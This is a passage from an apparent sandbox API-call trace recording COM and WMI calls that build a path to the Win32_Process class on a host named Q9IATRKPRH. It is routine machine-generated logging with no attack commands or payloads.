varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0143.062] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0143.062] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0143.062] IWbemClassObject:Get (in: This=0x1aa27760, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0143.062] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0143.062] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0143.062] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0143.062] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0143.063] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0143.063] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.064] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f920) returned 0x0 [0143.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f920, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0143.065] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f920, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcda4e0) returned 0x0 [0143.065] WbemDefPath:IUnknown:Release (This=0x1bc6f920) returned 0x0 [0143.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda4e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcda4e0) returned 0x0 [0143.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda4e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0143.065] WbemDefPath:IUnknown:AddRef (This=0x1bcda4e0) returned 0x3 [0143.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda4e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0143.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda4e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0143.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda4e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f6c0) returned 0x0 [0143.065] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f6c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.065] WbemDefPath:IUnknown:Release (This=0x1bc6f6c0) returned 0x3 [0143.065] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0143.065] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0143.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda4e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0143.066] WbemDefPath:IUnknown:Release (This=0x1bcda4e0) returned 0x2 [0143.066] WbemDefPath:IUnknown:Release (This=0x1bcda4e0) returned 0x1 [0143.066] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0143.066] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0143.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda4e0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcda4e0) returned 0x0 [0143.066] WbemDefPath:IUnknown:AddRef (This=0x1bcda4e0) returned 0x3 [0143.066] WbemDefPath:IUnknown:Release (This=0x1bcda4e0) returned 0x2 [0143.066] WbemDefPath:IWbemPath:SetText (This=0x1bcda4e0, uMode=0x4, pszPath="") returned 0x0 [0143.066] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0143.066] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0143.066] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0143.066] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.068] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f920) returned 0x0 [0143.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f920, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0143.068] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f920, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcda5a0) returned 0x0 [0143.068] WbemDefPath:IUnknown:Release (This=0x1bc6f920) returned 0x0 [0143.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda5a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcda5a0) returned 0x0 [0143.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda5a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0143.069] WbemDefPath:IUnknown:AddRef (This=0x1bcda5a0) returned 0x3 [0143.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda5a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0143.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda5a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0143.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda5a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f760) returned 0x0 [0143.069] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.069] WbemDefPath:IUnknown:Release (This=0x1bc6f760) returned 0x3 [0143.069] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0143.069] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0143.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda5a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0143.069] WbemDefPath:IUnknown:Release (This=0x1bcda5a0) returned 0x2 [0143.069] WbemDefPath:IUnknown:Release (This=0x1bcda5a0) returned 0x1 [0143.069] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0143.069] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0143.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda5a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcda5a0) returned 0x0 [0143.069] WbemDefPath:IUnknown:AddRef (This=0x1bcda5a0) returned 0x3 [0143.070] WbemDefPath:IUnknown:Release (This=0x1bcda5a0) returned 0x2 [0143.070] WbemDefPath:IWbemPath:SetText (This=0x1bcda5a0, uMode=0x4, pszPath="") returned 0x0 [0143.070] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda5a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0143.070] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda4e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0143.070] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcda5a0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0143.070] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcda5a0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0143.070] WbemDefPath:IWbemPath:SetServer (This=0x1bcda5a0, Name="Q9IATRKPRH") returned 0x0 [0143.070] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0143.070] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0143.070] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0143.070] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.072] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f780) returned 0x0 [0143.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f780, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0143.072] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f780, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcda660) returned 0x0 [0143.072] WbemDefPath:IUnknown:Release (This=0x1bc6f780) returned 0x0 [0143.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda660, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcda660) returned 0x0 [0143.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda660, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0143.073] WbemDefPath:IUnknown:AddRef (This=0x1bcda660) returned 0x3 [0143.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda660, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0143.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda660, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0143.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda660, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f680) returned 0x0 [0143.073] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f680, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.073] WbemDefPath:IUnknown:Release (This=0x1bc6f680) returned 0x3 [0143.073] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0143.073] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0143.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda660, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0143.073] WbemDefPath:IUnknown:Release (This=0x1bcda660) returned 0x2 [0143.073] WbemDefPath:IUnknown:Release (This=0x1bcda660) returned 0x1 [0143.073] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0143.073] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0143.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda660, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcda660) returned 0x0 [0143.073] WbemDefPath:IUnknown:AddRef (This=0x1bcda660) returned 0x3 [0143.073] WbemDefPath:IUnknown:Release (This=0x1bcda660) returned 0x2 [0143.073] WbemDefPath:IWbemPath:SetText (This=0x1bcda660, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0143.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda5a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0143.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda660, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0143.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda660, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0143.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda660, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0143.073] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcda5a0) returned 0x0 [0143.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda660, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcda660, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcda660, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0143.074] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcda5a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcda660, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcda660, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0143.074] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcda5a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcda5a0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0143.074] WbemDefPath:IWbemPath:SetClassName (This=0x1bcda5a0, Name="Win32_Process") returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda5a0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda5a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda5a0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda5a0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda5a0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda5a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda5a0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda5a0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda360, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda5a0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0143.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda5a0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0143.074] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0143.075] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0143.075] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0143.075] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.078] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, 